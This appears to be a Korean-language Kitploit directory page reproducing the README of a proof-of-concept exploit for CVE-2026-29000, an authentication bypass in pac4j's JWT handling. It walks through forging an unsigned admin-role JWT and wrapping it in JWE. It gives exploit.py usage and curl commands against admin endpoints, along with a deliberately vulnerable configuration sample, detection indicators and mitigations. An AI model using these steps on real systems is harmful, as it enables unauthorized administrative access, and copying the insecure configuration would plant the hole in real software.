Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29000 — Python POC, Exploit for CVE-2026-29000 | Kitploit
도구/GitHubGitHub/c0gnit00/cve-2026-29000
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCryptographyPenetration TestingLearning & Education
GitHubc0gnit00/cve-2026-29000

CVE-2026-29000

Python POC, Exploit for CVE-2026-29000

저장소 보기
12개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-29000: pac4j JWT 인증 우회 PoC

CVE-2026-29000에 대한 개념 증명 – pac4j JWT 구현의 심각한 인증 우회 취약점으로, 공격자가 유효한 서명 없이 관리자 토큰을 위조할 수 있습니다.


⚠️ 면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 익스플로잇의 오용, 손해 또는 불법 사용에 대해 어떠한 책임도 지지 않습니다.

  • 승인되지 않은 컴퓨터 시스템 접근은 대부분의 관할권에서 불법입니다.
  • 사용자는 테스트 전에 명시적인 서면 허가를 받아야 합니다.
  • 저자는 이 도구의 오용으로 인해 발생하는 어떤 결과에 대해서도 책임을 지지 않습니다.
  • 이는 보안 연구 및 교육 도구입니다 – 윤리적이고 합법적으로 사용하십시오.

📋 취약점 개요

이 취약점은 pac4j의 JWT 인증 메커니즘에서 다음 결함을 이용합니다.

  1. 서명 없는 토큰 허용 – JWT 헤더에 alg: "none"이 포함된 토큰을 수용함
  2. JWE 래핑 토큰 신뢰 – 내부 JWT 서명을 제대로 검증하지 않고 JWE로 감싸진 토큰을 신뢰함
  3. 사용자 정의 클레임을 통한 권한 상승 허용 – 서명 없는 페이로드에 임의의 클레임(예: role: "ROLE_ADMIN")을 추가할 수 있음

공격자는 서명 없는 JWT에 임의의 클레임을 넣어 만들고, 서버의 공개 키로 JWE 컨테이너에 암호화한 후, 관리자 기능에 무단 접근할 수 있습니다.


🎯 성공적인 익스플로잇을 위한 사전 조건

서버 측 요구 사항

이 익스플로잇이 성공하려면 대상 서버가 모든 다음 조건을 충족해야 합니다.

1. 접근 가능한 JWKS 엔드포인트

서버는 다음 엔드포인트 중 하나를 통해 공개 키를 노출해야 합니다.

  • /.well-known/jwks.json (표준 OAuth/OIDC 엔드포인트)
  • /api/auth/jwks (사용자 정의 엔드포인트)

이유: 익스플로잇이 자동으로 서버의 공개 키를 가져와 위조된 JWE 토큰을 암호화합니다.

2. JWT role 클레임 수용

서버는 다음을 충족해야 합니다.

  • JWT 페이로드의 role 클레임을 수락하고 처리함
  • 최소한 하나의 권한 수준이 상승된 접근을 허용함(예: ROLE_ADMIN)
  • JWT 서명을 검증하지 않거나 서명 없는 토큰을 허용함

일반적인 역할:

  • ROLE_ADMIN – 전체 관리자 접근
  • ROLE_USER – 일반 사용자 접근
  • 애플리케이션에 따라 사용자 정의 역할

3. JWE 토큰 처리

서버는 다음을 충족해야 합니다.

  • JWE(암호화) 토큰을 유효한 인증 수단으로 수용함
  • 내부 서명 없는 JWT를 복호화하고 처리함
  • 내부 JWT의 서명이나 알고리즘을 검증하지 않음

4. 취약한 pac4j 구성

애플리케이션이 pac4j를 사용하며 다음 조건을 만족해야 함:

  • 알고리즘이 "none"으로 설정되거나 알고리즘 검증이 불충분함
  • JWE 암호화는 활성화되어 있지만 내부 JWT의 서명 검증은 비활성화됨
  • JWE 복호화 외에 추가 토큰 검증이 없음

🛠️ 설치

요구 사항

  • Python 3.7+
  • 필요한 패키지: requests, jwcrypto

설정

root@kitploit:~
# 저장소 복제
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# 의존성 설치
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
jwcrypto>=1.4.0

🚀 사용법

기본 사용법

root@kitploit:~
python3 exploit.py <TARGET_URL>

예시:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080

스크립트는 다음을 수행합니다:

  1. 표준 엔드포인트에서 JWKS를 가져오려 시도합니다.
  2. role: "ROLE_ADMIN"이 포함된 서명 없는 JWT를 생성합니다.
  3. 서버의 공개 키를 사용하여 암호화합니다.
  4. 인증에 사용할 준비가 된 JWE 토큰을 출력합니다.

고급 옵션

사용자 이름 지정

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --username john

역할 지정

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

JWKS 수동 제공

JWKS 엔드포인트가 공개적으로 접근 불가능한 경우, JWK를 수동으로 제공합니다.

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

모든 옵션을 포함한 전체 예시

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 생성된 토큰 사용

익스플로잇은 다음과 같은 형식으로 JWE 토큰을 출력합니다.

root@kitploit:~
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

인증된 요청 만들기

보호된 엔드포인트에 접근하려면 HTTP 요청에 토큰을 사용하십시오.

root@kitploit:~
# curl 사용
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Python requests 사용
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Authorization 헤더와 함께 요청 예시

root@kitploit:~
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 익스플로잇 작동 원리

1단계: 서명 없는 JWT 생성

root@kitploit:~
header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # 사용자 이름
    "role": "ROLE_ADMIN",        # 권한 수준
    "iss": "principal-platform", # 발급자
    "iat": 1234567890,          # 발급 시간
    "exp": 1234571490           # 만료 시간 (1시간)
}

JWT는 서명 없이 (alg: "none") 생성되며, 일반적으로는 유효하지 않지만 취약한 서버에서는 수용됩니다.

2단계: 서버의 JWKS 가져오기

익스플로잇이 다음을 쿼리합니다.

  1. /.well-known/jwks.json (OAuth/OIDC 표준)
  2. /api/auth/jwks (사용자 정의 엔드포인트)

이를 통해 암호화에 필요한 서버의 RSA 공개 키를 가져옵니다.

3단계: JWT를 JWE로 암호화

서명 없는 JWT가 다음을 사용하여 암호화됩니다.

  • 알고리즘: RSA-OAEP-256 (비대칭 암호화)
  • 암호화: A128GCM (인증 암호화)
  • 키: 서버의 공개 키 (변조 방지)

이렇게 하면 서버가 복호화할 수 있지만 내부 서명은 검증하지 않는 JWE 토큰이 생성됩니다.

4단계: 토큰 사용

JWE 토큰이 Authorization 헤더에 포함됩니다.

root@kitploit:~
Authorization: Bearer <JWE_TOKEN>

취약한 서버는 이를 복호화하고 서명 없는 JWT를 추출하여 서명 검증 없이 클레임을 신뢰합니다.


🔐 취약점 체인

root@kitploit:~
서명 없는 JWT (alg:none)
         ↓
  JWE로 래핑 (서버의 공개 키 사용)
         ↓
  서버가 JWE 토큰 수신
         ↓
  서버가 JWE 복호화
         ↓
  내부 서명 없는 JWT 추출
         ↓
  ❌ 서버가 서명을 검증하지 않음
         ↓
  ✅ 클레임을 유효한 것으로 수락 (role: ROLE_ADMIN)
         ↓
  공격자가 관리자 접근 권한 획득!

⚠️ 탐지 및 지표

서버 측 취약점 지표

  1. JWKS 엔드포인트 노출

    • /.well-known/jwks.json 또는 /api/auth/jwks가 공개적으로 접근 가능한지 확인
  2. JWT 검증 로그

    • alg: "none"을 포함한 토큰을 수락하는 로그 확인
    • 서명 없는 토큰이 수락되었다는 경고 확인
  3. 구성 검토

    • pac4j의 서명 검증이 비활성화되었는지 확인
    • JWE 복호화 설정 확인

네트워크 지표

root@kitploit:~
# 정찰
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# JWE 토큰이 수락되는지 확인
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ 완화 및 수정

pac4j를 사용하는 개발자를 위한 지침

  1. 서명 검증 강제

    root@kitploit:~
    // BAD - Accepts unsigned tokens
    JwtAuthenticator jwt = new JwtAuthenticator();
    jwt.setAlgorithm(null); // ❌ Vulnerable
    
    // GOOD - Requires valid signature
    JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
    jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
    
  2. JWT 알고리즘 검증

    • alg: "none"을 절대 수락하지 않음
    • 허용된 알고리즘을 화이트리스트로 관리(예: RS256, HS256)
    • 알고리즘이 일치하지 않는 토큰은 거부
  3. JWE가 필요하지 않으면 비활성화

    • 인증에 JWT만 필요하면 JWE 래핑을 비활성화
    • JWE가 필요한 경우 내부 JWT 서명을 독립적으로 검증
  4. pac4j 업데이트

    • 보안 패치 적용
    • 기본적으로 서명 검증이 활성화된 버전으로 업데이트
  5. 토큰 검증 계층 추가

    • 토큰 만료(exp 클레임) 검증
    • 발급자(iss 클레임) 확인
    • 역할을 신뢰할 수 있는 데이터베이스와 교차 참조

시스템 관리자를 위한 지침

  1. JWKS 엔드포인트 접근 제한

    root@kitploit:~
    location /.well-known/jwks.json {
        allow 10.0.0.0/8;  # 내부 네트워크만 허용
        deny all;
    }
    
  2. 인증 로그 모니터링

    • alg: "none"이 포함된 토큰에 대한 경고
    • 예상치 못한 소스에서의 관리자 역할 할당 플래그
  3. 네트워크 분할

    • 인증 서버 격리
    • JWKS 엔드포인트를 승인된 클라이언트로 제한
  4. 정기적인 보안 감사

    • pac4j 구성 검토
    • 인증 메커니즘에 대한 침투 테스트

📊 테스트 환경

취약한 설정 예시

root@kitploit:~
@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // ❌ VULNERABLE: No signature verification
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // Accepts JWE but doesn't verify inner JWT
        return new JWEEncrypter();
    }
}

📚 참고 자료

  • CVE ID: CVE-2026-29000
  • 영향을 받는 라이브러리: pac4j (JWT 모듈)
  • 공격 벡터: 서명 없는 JWT + JWE 암호화를 통한 인증 우회
  • CVSS 점수: 9.8 (Critical)

관련 자료

  • pac4j GitHub 저장소
  • JWT 모범 사례
  • OWASP JWT 치트 시트

⚖️ 법적 고지

이 익스플로잇은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 이 도구는 다음에만 사용해야 합니다.

  • 본인이 소유한 시스템
  • 명시적인 서면 허가를 받은 시스템
  • 승인된 침투 테스트 계약

저자는 이 도구의 오용이나 피해에 대해 책임을 지지 않습니다.


📝 라이선스

MIT 라이선스 – 자세한 내용은 LICENSE 파일 참조


👥 기여

버그를 발견했거나 개선 사항이 있으신가요?

  1. 저장소를 포크합니다.
  2. 기능 브랜치를 생성합니다. (git checkout -b feature/improvement)
  3. 변경 사항을 커밋합니다. (git commit -m 'Add improvement')
  4. 브랜치에 푸시합니다. (git push origin feature/improvement)
  5. 풀 리퀘스트를 생성합니다.

📞 지원

문제, 질문 또는 제안 사항이 있으면:

  • GitHub에서 이슈를 열어 주십시오.
  • pac4j의 대상 버전을 포함하십시오.
  • 관련 로그 및 구성을 첨부하십시오.

최종 업데이트: 2026년 5월
저자: 보안 연구 팀
상태: 교육용 PoC

도구 다운로드